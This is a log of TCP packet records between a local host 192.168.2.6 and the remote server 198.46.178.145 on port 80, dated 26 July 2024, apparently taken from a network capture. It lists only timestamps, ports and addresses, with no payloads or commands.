Jul 26, 2024 11:27:09.911479950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911479950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911506891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911515951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911525011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911547899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911753893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911762953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911768913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911776066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911783934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911789894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911798954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911804914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911814928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911820889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911829948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911840916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911845922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911854982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.911870003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.911896944 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912030935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912039995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912051916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912062883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912069082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912076950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912090063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912107944 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912174940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912183046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912194967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912204027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912209988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912218094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912224054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912230968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912236929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912245035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912252903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912266970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912271976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912281036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912334919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912349939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912374973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912384987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912399054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912422895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912422895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912432909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912447929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912487984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912698984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912708044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912717104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912729979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912739038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912744999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912754059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912764072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912767887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912774086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912777901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912782907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912787914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912791967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912796974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912803888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912817001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912828922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.912857056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.912894011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.913086891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913094997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913108110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913115978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913121939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.913130045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913139105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913147926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.913197041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.913321018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.913360119 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921263933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921286106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921303988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921324015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921324015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921355963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921401024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921411991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921425104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921437979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921444893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921458006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921463013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921483994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921633959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921648026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921653986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921664000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921679020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921688080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921705961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921719074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921724081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921730995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921740055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.921750069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.921830893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.933682919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.933702946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.933720112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.933736086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.933764935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.933835030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.933940887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.934001923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.934014082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.934026003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.934031963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.934067965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.978836060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978864908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978878975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978897095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978909969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978921890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978926897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.978939056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.978970051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.978970051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979090929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979099989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979114056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979125023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979129076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979139090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979142904 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979156971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979176044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979176044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979243994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979278088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979296923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979305983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979330063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979348898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979383945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979392052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979403973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979415894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979422092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979440928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979599953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979609013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979621887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979630947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979636908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979645967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979651928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979660034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979671955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979676962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979688883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979702950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979749918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.979760885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.979790926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003349066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003360033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003417015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003427029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003434896 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003443003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003454924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003465891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003473043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003488064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003504038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003514051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003520966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003534079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003716946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003726006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003731966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003740072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003750086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003756046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003767014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003776073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003782988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003793001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003798008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003806114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003813982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003819942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003828049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003834963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003843069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003856897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.003982067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003990889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.003997087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004004955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004014015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004025936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004031897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004045963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004240036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004249096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004255056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004262924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004268885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004276037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004281998 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004290104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004297018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004303932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004311085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004324913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004329920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004339933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004347086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004354000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004362106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004368067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004379034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004386902 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004393101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004400969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004405975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004415035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004424095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004430056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004437923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004447937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004453897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004465103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004477024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.004489899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004489899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004502058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.004534960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005492926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005502939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005515099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005523920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005534887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005538940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005551100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005558968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005564928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005572081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005578041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005584955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005594969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005599022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005609035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005620003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005625963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005634069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005645037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005649090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005659103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005665064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005676031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005685091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.005691051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.005698919 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.006462097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012351990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012388945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012398958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012437105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012495041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012521029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012531042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012541056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012553930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012737036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012748003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012753010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012782097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012799978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012809992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012830019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012831926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012834072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.012855053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012886047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012886047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.012912035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.024178982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024213076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024218082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024264097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.024400949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024410009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024422884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024431944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.024439096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.024478912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.070804119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.070935965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.070947886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.070996046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071016073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071024895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071038961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071048021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071223021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071223021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071223021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071223021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071223021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071335077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071343899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071357012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071366072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071378946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071392059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071408987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071547031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071671963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071681023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071695089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071706057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071711063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:10.071722984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:10.071731091 CEST	80	49741	198.46.178.145	192.168.2.6
